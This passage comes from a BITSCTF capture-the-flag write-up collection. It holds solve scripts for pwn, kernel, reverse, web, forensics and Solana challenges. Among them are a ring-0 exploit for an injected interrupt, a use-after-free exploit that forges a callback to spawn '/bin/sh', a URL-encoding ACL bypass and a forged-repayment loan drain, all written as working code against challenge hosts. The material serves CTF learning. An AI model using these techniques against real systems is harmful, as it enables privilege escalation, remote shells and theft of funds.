log.info(f"session = {sess:#x}")
st84 = ST84_INIT
st80 = mix32(SEED_INIT)
auth_token = (mix32(st84 ^ sess) ^ AUTH_XOR) & 0xFFFFFFFF
io.send(frame(3, 0, p32(auth_token), sess))
# set state > 2 requirement for teardown path
io.send(frame(1, 0, tlv(0x22, b"\x03"), sess))
# format-string leak path
leak_fmt = b"%p|%p|%p\n"
enc = enc_for_tag10(leak_fmt, st80, st84)
leak_req = tlv(0x10, enc) + tlv(0x40, b"")
io.send(frame(1, 0, leak_req, sess))
leak_blob = io.recvuntil(b"relay/open\n", timeout=3.0)
if not leak_blob:
leak_blob = io.recvrepeat(1.0)
m = re.search(rb"0x[0-9a-fA-F]+\|0x[0-9a-fA-F]+\|(0x[0-9a-fA-F]+)", leak_blob)
win_addr = int(m.group(1), 16)
log.success(f"win = {win_addr:#x}")
key = (((st80 & 0xFFFFFFFF) << 32) ^ (st84 & 0xFFFFFFFF) ^ CB_CONST) & 0xFFFFFFFFFFFFFFFF
cb_enc = win_addr ^ key
io.send(frame(1, 0, tlv(0x31, p64(cb_enc)), sess))
io.send(frame(9, 0, b"", sess))
out = io.recvrepeat(2.0)
print(out.decode(errors="ignore"))
if __name__ == "__main__":
main()Run:
python3 solve.pyPromotion
Category: Pwn (Kernel)
Flag: BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}
Challenge Description
Given promotion_for_players.zip with bzImage, rootfs.cpio.gz, run.sh, diff.txt. Remote: nc 20.193.149.152 1337
From run.sh: flag attached as block device via -hda /challenge/flag.txt
Analysis
Kernel patch in diff.txt introduces interrupt vector 0x81:
pushq %rax
movq %cs, %rax
movq %rax, 16(%rsp)
xorq %rax, %rax
movq %rax, 40(%rsp)
popq %rax
iretqThis intentionally corrupts iret-frame fields. When userland executes int $0x81, we get kernel-level control.
Exploitation
- Trigger
int $0x81 - Immediately disable interrupts (
cli) to keep execution stable - Perform ATA PIO read of LBA0 from primary disk via I/O ports (command/status:
0x1f7, data:0x1f0) - Print bytes to serial COM1 (
0x3f8)
File used: exploit_ring0.S
.global _start
.section .text
_start:
int $0x81
cli
wait_bsy:
mov $0x1f7, %dx
inb %dx, %al
test $0x80, %al
jnz wait_bsy
mov $0xe0, %al
mov $0x1f6, %dx
outb %al, %dx
mov $1, %al
mov $0x1f2, %dx
outb %al, %dx
xor %al, %al
mov $0x1f3, %dx
outb %al, %dx
mov $0x1f4, %dx
outb %al, %dx
mov $0x1f5, %dx
outb %al, %dx
mov $0x20, %al
mov $0x1f7, %dx
outb %al, %dx
wait_drq:
mov $0x1f7, %dx
inb %dx, %al
test $0x08, %al
jz wait_drq
mov $256, %ecx
read_loop:
mov $0x1f0, %dx
inw %dx, %ax
mov %al, %bl
cmp $0, %bl
je done
cmp $0x0a, %bl
je done
cmp $0x0d, %bl
je done
cmp $0x20, %bl
jb low_dot
cmp $0x7e, %bl
ja low_dot
jmp low_send
low_dot:
mov $'.', %bl
low_send:
wait_tx1:
mov $0x3fd, %dx
inb %dx, %al
test $0x20, %al
jz wait_tx1
mov %bl, %al
mov $0x3f8, %dx
outb %al, %dx
mov %ah, %bl
cmp $0, %bl
je done
cmp $0x0a, %bl
je done
cmp $0x0d, %bl
je done
cmp $0x20, %bl
jb high_dot
cmp $0x7e, %bl
ja high_dot
jmp high_send
high_dot:
mov $'.', %bl
high_send:
wait_tx2:
mov $0x3fd, %dx
inb %dx, %al
test $0x20, %al
jz wait_tx2
mov %bl, %al
mov $0x3f8, %dx
outb %al, %dx
loop read_loop
done:
mov $'\n', %bl
wait_tx3:
mov $0x3fd, %dx
inb %dx, %al
test $0x20, %al
jz wait_tx3
mov %bl, %al
mov $0x3f8, %dx
outb %al, %dx
hang:
hlt
jmp hangCompile:
gcc -nostdlib -static -s -o exploit_ring0 exploit_ring0.SUpload and execute via base64:
#!/usr/bin/env python3
from pwn import *
import base64
import textwrap
HOST, PORT = "20.193.149.152", 1337
BIN_PATH = "./exploit_ring0"
def main():
payload_b64 = base64.b64encode(open(BIN_PATH, "rb").read()).decode()
chunks = textwrap.wrap(payload_b64, 76)
io = remote(HOST, PORT, timeout=10)
boot = b""
while b"~ $" not in boot and b"/ $" not in boot:
d = io.recv(timeout=0.5)
if d:
boot += d
io.sendline(b"cat >/tmp/e.b64 <<'EOF'")
for line in chunks:
io.sendline(line.encode())
io.sendline(b"EOF")
io.sendline(b"base64 -d /tmp/e.b64 >/tmp/e")
io.sendline(b"chmod +x /tmp/e")
io.sendline(b"/tmp/e")
out = b""
for _ in range(300):
d = io.recv(timeout=0.2)
if d:
out += d
if b"}" in out:
break
print(out.decode("latin1", errors="ignore"))
io.close()
if __name__ == "__main__":
main()Flag:
BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}Midnight Relay
Category: Pwn
Flag: BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}
Challenge Description
Given midnight_relay.tar.gz. Remote: nc 20.193.149.152 1338
Protocol: Packet header = op (u8) | key (u8) | len (u16 LE), max payload 0x500. Operations: 0x11 forge, 0x22 tune, 0x33 observe, 0x44 shred, 0x55 sync, 0x66 fire.
Analysis
Each slot (idx & 0xf) entry contains: ptr (qword), size (u16), armed (u8).
forge allocates calloc(1, size+0x20) and writes trailer at t = ptr + size:
t[0] = (t >> 12) ^ cookie ^ 0x48454c494f5300ff
t[3] = ((rand()<<32) ^ rand())
t[2] = ptr
t[1] = (t >> 13) ^ idle ^ t[0] ^ t[3]fire computes callback: fn = (t >> 13) ^ t[0] ^ t[1] ^ t[3] then call fn(). Important: rdi contains ptr at call rax, so if fn = system, it executes system(ptr).
Vulnerabilities:
- Use-after-free:
shredfrees chunk but does not clearslots[idx].ptr - UAF read/write:
observe/tunecan still access freed memory - Trailer rewrite:
tunecan rewrite all trailer fields (size+0x20window)
Exploitation
- Forge chunk 0 with
/bin/sh\x00at chunk start - Leak
ptr+cookiefrom trailer (observe(0, size, 0x20)) - Free large chunk (size
0x500) and leak unsorted-bin pointer at offset0x20 - Compute libc base:
libc_base = unsorted_fd - 0x203B20 - Restore
/bin/sh\x00at chunk start (free clobbers first bytes) - Forge valid trailer so decoded callback =
system syncwith correct token, thenfire=>system('/bin/sh')
#!/usr/bin/env python3
from pwn import *
HOST, PORT = '20.193.149.152', 1338
CONST = 0x48454C494F5300FF
INIT_EPOCH = 0x6B1D5A93
MAIN_ARENA_PLUS60 = 0x203B20
SYSTEM_OFF = 0x58750
io = remote(HOST, PORT)
io.recvline()
epoch = INIT_EPOCH
def key(payload: bytes) -> int:
global epoch
x = epoch
for b in payload:
x = ((x * 8) ^ (x >> 2) ^ b ^ 0x71) & 0xFFFFFFFF
return x & 0xFF
def bump(op: int):
global epoch
epoch ^= ((op << 9) | 0x5F)
epoch &= 0xFFFFFFFF
def send_pkt(op: int, payload: bytes = b''):
io.send(p8(op) + p8(key(payload)) + p16(len(payload)) + payload)
def forge(idx: int, size: int, tag: bytes):
send_pkt(0x11, p8(idx) + p16(size) + p8(len(tag)) + tag)
bump(0x11)
def tune(idx: int, off: int, data: bytes):
send_pkt(0x22, p8(idx) + p16(off) + p16(len(data)) + data)
bump(0x22)
def observe(idx: int, off: int, n: int) -> bytes:
send_pkt(0x33, p8(idx) + p16(off) + p16(n))
d = io.recvn(n, timeout=2)
if len(d) != n:
raise EOFError(f"short observe: expected {n}, got {len(d)}")
bump(0x33)
return d
def shred(idx: int):
send_pkt(0x44, p8(idx))
bump(0x44)
def sync(idx: int, token: int):
send_pkt(0x55, p8(idx) + p32(token))
bump(0x55)
def fire(idx: int):
send_pkt(0x66, p8(idx))
bump(0x66)
# 1) Allocate command chunk and leak trailer
idx = 0
size = 0x500
forge(idx, size, b'/bin/sh\x00')
tr = observe(idx, size, 0x20)
t0, t1, ptr, t3 = [u64(tr[i:i+8]) for i in range(0, 32, 8)]
cookie = t0 ^ ((ptr + size) >> 12) ^ CONST
# 2) Leak libc from unsorted bin
forge(1, 0x80, b'G')
shred(idx)
unsorted_fd = u64(observe(idx, 0x20, 8))
libc_base = unsorted_fd - MAIN_ARENA_PLUS60
system = libc_base + SYSTEM_OFF
# Restore command string (free metadata clobbered chunk start)
tune(idx, 0, b'/bin/sh\x00')
# 3) Forge authenticated trailer for callback=system
T = ptr + size
ft0 = ((T >> 12) ^ cookie ^ CONST) & ((1 << 64) - 1)
ft3 = 0
ft2 = ptr
ft1 = ((T >> 13) ^ system ^ ft0 ^ ft3) & ((1 << 64) - 1)
tune(idx, size, p64(ft0) + p64(ft1) + p64(ft2) + p64(ft3))
# 4) Arm and trigger
token = (epoch ^ (ft0 & 0xFFFFFFFF) ^ (ft3 & 0xFFFFFFFF)) & 0xFFFFFFFF
sync(idx, token)
fire(idx)
# 5) Read flag
io.sendline(b'cat /app/flag.txt; exit')
print(io.recvrepeat(2).decode('latin-1', errors='ignore'))
io.close()Reverse Engineering
gcc (Ghost C Compiler)
Category: Reverse
Flag: BITSCTF{n4n0m1t3s_4nd_s3lf_d3struct_0ur0b0r0s}
Challenge Description
Given README.md and chall.zip. A supposedly “safe and fast” C compiler wrapper.
Analysis
ghost_compiler is a 64-bit stripped PIE ELF with RELRO/Canary/NX/PIE. Running it without args produces gcc: fatal error: no input files - it forwards to system gcc.
Core logic from reversing:
- Opens itself (
argv[0]), finds embedded 8-byte marker - Computes FNV-1a-like 64-bit hash over whole file except 0x40-byte window
- Derives key:
key = 0xcafebabe00000000 ^ hash - Decrypts using rolling XOR with ROR64 key schedule
- Validates decrypted prefix is
BITSCTF{
Solution
Brute-force candidate offsets for 0x40-byte encrypted block:
#!/usr/bin/env python3
from pathlib import Path
BIN_PATH = "ghost_compiler"
TARGET_PREFIX = b"BITSCTF{"
FNV_OFFSET = 0xCBF29CE484222325
FNV_PRIME = 0x100000001B3
MASK64 = (1 << 64) - 1
def ror64(x: int, n: int = 1) -> int:
return ((x >> n) | ((x << (64 - n)) & MASK64)) & MASK64
def derive_key(blob: bytes, skip_off: int, skip_len: int = 0x40) -> int:
h = FNV_OFFSET
for i, bt in enumerate(blob):
if skip_off <= i < skip_off + skip_len:
continue
h ^= bt
h = (h * FNV_PRIME) & MASK64
return (0xCAFEBABE00000000 ^ h) & MASK64
def decrypt_window(blob: bytes, off: int, key: int, n: int = 0x40) -> bytes:
out = bytearray()
k = key
for i in range(n):
out.append(blob[off + i] ^ (k & 0xFF))
k = ror64(k, 1)
return bytes(out)
def main() -> None:
blob = Path(BIN_PATH).read_bytes()
for off in range(0, len(blob) - 0x40 + 1):
key = derive_key(blob, off, 0x40)
dec = decrypt_window(blob, off, key, 0x40)
if dec.startswith(TARGET_PREFIX) and b"}" in dec:
flag = dec.split(b"\x00", 1)[0].decode("utf-8", errors="ignore")
print(f"[+] offset = {off}")
print(f"[+] key = {hex(key)}")
print(f"[+] flag = {flag}")
return
print("[-] Flag window not found")
if __name__ == "__main__":
main()Run:
python3 solve_ghost_compiler.pyOutput:
[+] offset = 12320
[+] key = 0x5145dd89c16375d8
[+] flag = BITSCTF{n4n0m1t3s_4nd_s3lf_d3struct_0ur0b0r0s}El Diablo
Category: Reverse
Flag: BITSCTF{l4y3r_by_l4y3r_y0u_unr4v3l_my_53cr375}
Challenge Description
Given challenge. UPX-packed binary expecting license file.
Analysis
After unpacking: binary requires LICENSE-<hex> format. Has anti-debug (ptrace, /proc/self/status), SIGILL handler for VM execution.
VM logic recovered:
out[i] = CONST[i] XOR license[i mod 10] for i = 0..45Recovered 46-byte constant: dbbc3342678166ae9a08e0c6154e46ac7fb9c245aa87386814a07fa0984ead83547d7bb8598ac30ffa87542611a8
Only the first 10 license bytes matter for the transformed output.
Solution
Derive first 8 key bytes from BITSCTF{ prefix, brute-force remaining 2 bytes:
#!/usr/bin/env python3
import re
CONST = bytes.fromhex(
"dbbc3342678166ae9a08e0c6154e46ac7fb9c245aa873868"
"14a07fa0984ead83547d7bb8598ac30ffa87542611a8"
)
PREFIX = b"BITSCTF{"
def decode_with_key10(key10: bytes) -> bytes:
return bytes(CONST[i] ^ key10[i % 10] for i in range(len(CONST)))
def main():
key = [None] * 10
for i, ch in enumerate(PREFIX):
key[i] = CONST[i] ^ ch
pattern = re.compile(r"^BITSCTF\{[A-Za-z0-9_]+\}$")
for k8 in range(256):
for k9 in range(256):
key[8] = k8
key[9] = k9
key10 = bytes(key)
pt = decode_with_key10(key10)
try:
s = pt.decode("ascii")
except UnicodeDecodeError:
continue
if pattern.fullmatch(s):
print(f"key10_hex={key10.hex()} flag={s}")
if __name__ == "__main__":
main()Output:
key10_hex=99f5671124d520d5f63c
flag=BITSCTF{l4y3r_by_l4y3r_y0u_unr4v3l_my_53cr375}Valid license: LICENSE-99f5671124d520d5f63c
Tuff Game
Category: Reverse (Unity)
Flag: BITSCTF{Th1$_14_D3f1n1t3ly_Th3_fl4g}
Challenge Description
Unity infinite runner. Flag displayed after reaching 1 million meters. Given Tuff_Game.zip.
Analysis
Three layers of deception:
Layer 1 — XOR Decoy: NotAFlag class with key 0x5A → {Umm_4ctually_unx0r11ng_t0_g3t_fl4g_s33ms_t00_34sy}
Layer 2 — RSA Decoy: FlagGeneration class, shared-prime attack on 1024-bit moduli → BITSCTF{https://blogs.mtdv.me/Crypt0} (Rick Roll)
Layer 3 — Real Flag: 900 tiles named rq_X_Y (rq = reversed “qr”) in resources.assets. Troll images hint: “think vertically” → transpose X,Y.
Solution
Extract tiles with UnityPy, assemble with transposed coordinates:
#!/usr/bin/env python3
import UnityPy
import numpy as np
from PIL import Image
import cv2
env = UnityPy.load("Tuff_Game/Tuff_Game/Tuff_Game_Data/resources.assets")
tiles = {}
for obj in env.objects:
if obj.type.name == "Texture2D":
data = obj.read()
name = data.m_Name
if name.startswith("rq_"):
parts = name.split("_")
x, y = int(parts[1]), int(parts[2])
tiles[(x, y)] = np.array(data.image)
print(f"[+] Loaded {len(tiles)} QR tiles")
# Assemble with TRANSPOSED coordinates
tile_size, grid_size = 5, 30
img_size = grid_size * tile_size
full_img = np.ones((img_size, img_size, 3), dtype=np.uint8) * 255
for (orig_x, orig_y), tile_data in tiles.items():
new_col, new_row = orig_y, orig_x # TRANSPOSED
py, px = new_row * tile_size, new_col * tile_size
full_img[py:py+tile_size, px:px+tile_size] = tile_data[:, :, :3]
Image.fromarray(full_img).save("qr_transposed_raw.png")
# Decode QR
scale = 10
upscaled = cv2.resize(full_img, (img_size * scale, img_size * scale), interpolation=cv2.INTER_NEAREST)
gray = cv2.cvtColor(upscaled, cv2.COLOR_RGB2GRAY)
detector = cv2.QRCodeDetector()
data, bbox, straight = detector.detectAndDecode(gray)
print(f"\n[★] FLAG: {data}")Run:
python3 solve_tuff_game.pyOutput:
[+] Loaded 900 QR tiles
[+] Saved qr_transposed_raw.png (150×150)
[★] FLAG: BITSCTF{Th1$_14_D3f1n1t3ly_Th3_fl4g}safe not safe
Category: Reverse
Flag: BITSCTF{7h15_41n7_53cur3_571ll_n07_p47ch1ng_17}
Challenge Description
Given dist.zip with ARM kernel image. Remote: nc 135.235.195.203 3000. Flag on /dev/vda.
Analysis
Challenge binary /challenge/lock_app is SUID root. Core math:
m1 = ((uint32_t)(a * 0x7A69) + b) % 1_000_000
m2 = (a ^ b) % 1_000_000
challenge = u ^ m1
response = u ^ m2
response = challenge ^ m1 ^ m2Binary uses glibc random_r with predictable state based on startup time.
Solution
Reproduce RNG behavior with ctypes, rebuild S-box from time-derived seed:
#!/usr/bin/env python3
import ctypes
import re
import socket
import time
HOST = "135.235.195.203"
PORT = 3000
class RandomData(ctypes.Structure):
_fields_ = [
("fptr", ctypes.c_void_p),
("rptr", ctypes.c_void_p),
("state", ctypes.c_void_p),
("rand_type", ctypes.c_int),
("rand_deg", ctypes.c_int),
("rand_sep", ctypes.c_int),
("end_ptr", ctypes.c_void_p),
]
libc = ctypes.CDLL("libc.so.6")
class GlibcRandomR:
def __init__(self):
self.rd = RandomData()
self.statebuf = (ctypes.c_char * 128)()
libc.initstate_r(1, ctypes.cast(self.statebuf, ctypes.c_char_p),
ctypes.sizeof(self.statebuf), ctypes.byref(self.rd))
def reseed(self, seed: int):
libc.srandom_r(ctypes.c_uint(seed).value, ctypes.byref(self.rd))
def next_u32(self) -> int:
out = ctypes.c_int()
libc.random_r(ctypes.byref(self.rd), ctypes.byref(out))
return ctypes.c_uint32(out.value).value
def build_sbox(start_seed):
rng = GlibcRandomR()
rng.reseed(start_seed)
rng.next_u32()
rng.next_u32()
s = list(range(256))
for i in range(255, 0, -1):
j = rng.next_u32() % (i + 1)
s[i], s[j] = s[j], s[i]
return s
def compute_response(challenge, sbox, challenge_seed):
rng = GlibcRandomR()
rng.reseed(challenge_seed)
a = transform32(rng.next_u32(), sbox)
b = transform32(rng.next_u32(), sbox)
m1 = ((((a * 0x7A69) & 0xFFFFFFFF) + b) & 0xFFFFFFFF) % 1_000_000
m2 = (a ^ b) % 1_000_000
return (challenge ^ m1 ^ m2) & 0xFFFFFFFF
# Parse time, rebuild S-box, request challenge, compute response, submit
# ... (connection handling) ...Web Exploitation
rusty-proxy
Category: Web
Flag: BITSCTF{tr4il3r_p4r51n6_15_p41n_1n_7h3_4hh}
Challenge Description
Rust reverse proxy with Flask backend. Remote: http://rusty-proxy.chals.bitskrieg.in:25001
Analysis
Proxy ACL in main.rs:
fn is_path_allowed(path: &str) -> bool {
let normalized = path.to_lowercase();
if normalized.starts_with("/admin") {
return false;
}
true
}The proxy checks the raw request path without URL decoding. Flask decodes %61 → a.
Exploitation
curl "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"/%61dmin/flag passes proxy check (doesn’t start with /admin), but Flask receives /admin/flag.
Or using Python:
#!/usr/bin/env python3
import requests
URL = "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"
r = requests.get(URL, timeout=10)
data = r.json()
print(f"Flag: {data.get('flag')}")Forensics
Marlboro
Category: Forensics
Flag: BITSCTF{d4mn_y0ur_r34lly_w3n7_7h47_d33p}
Challenge Description
Given SaveMeFromThisHell.zip containing Marlboro.jpg. Clues: smoke/fire + “programming language from hell”.
Analysis
binwalk Marlboro.jpg→ ZIP appended at offset3754399(0x39499F)- Extract →
smoke.pngandencrypted.bin exiftool smoke.png→ Author:aHR0cHM6Ly96YjMubWUvbWFsYm9sZ2UtdG9vbHMv(Malbolge tools URL)zsteg -a smoke.png→KEY=c7027f5fdeb20dc7308ad4a6999a8a3e069cb5c8111d56904641cd344593b657
Solution
# Carve ZIP from JPEG
python -c "data=open('Marlboro.jpg','rb').read();open('smoke.zip','wb').write(data[3754399:])"
unzip smoke.zip
# Get key from zsteg
zsteg -a smoke.png
# XOR decrypt
python -c "from pathlib import Path; key=bytes.fromhex('c7027f5fdeb20dc7308ad4a6999a8a3e069cb5c8111d56904641cd344593b657'); enc=Path('encrypted.bin').read_bytes(); Path('decrypted.bin').write_bytes(bytes(b ^ key[i % len(key)] for i,b in enumerate(enc)))"
# Execute Malbolge
python -m pip install malbolge
python -c "import malbolge; print(malbolge.eval(open('decrypted.bin').read().splitlines()[-1]))"Blockchain
Bank Heist
Category: Blockchain (Solana)
Flag: BITSCTF{8ANk_h3157_1n51D3_A_8L0cK_ChA1n_15_cRa2Y}
Challenge Description
Given bank-heist.tar.gz. Remote: nc 20.193.149.152 5000. Need to drain bank vault below 1M lamports.
Analysis
verify_repayment inspects next top-level instruction but only checks:
- instruction data starts with u32
2 - transfer amount >= expected_amount
accounts[1].pubkey == bank_pda
Missing: doesn’t verify program_id is System Program, source constraints, or actual transfer.
Exploitation
First instruction: CPI chain: OpenAccount → VerifyKYC (proof from SlotHashes) → RequestLoan(999_100_000)
Second instruction: Forged “repayment” with only metadata: accounts [user, bank_pda], data <u32=2><u64=amount>
// Solver program (Rust SBF)
invoke(&open_ix, &[...])?;
// Compute KYC proof from SlotHashes
invoke(&verify_ix, &[...])?;
invoke(&request_ix, &[...])?;# Driver script
#!/usr/bin/env python3
import socket
import struct
# ... (upload solve.so, send two instructions) ...
# First instruction: real CPI chain
send_line(s, "7") # 7 accounts
send_line(s, f"sw {user}")
# ... account setup ...
ix1_data = bytes([1]) + struct.pack("<Q", 999_100_000)
# Second instruction: fake repayment
send_line(s, "2") # 2 accounts
send_line(s, f"r {user}")
send_line(s, f"w {bank_pda_s}")
fake_transfer = struct.pack("<IQ", 2, 999_100_000)Build and run:
cargo-build-sbf --manifest-path solve/Cargo.toml
python3 solve_remote.py 20.193.149.152 5000Output:
Bank Vault Balance: 900000
Congratulations! You robbed the bank!
Flag: BITSCTF{8ANk_h3157_1n51D3_A_8L0cK_ChA1n_15_cRa2Y}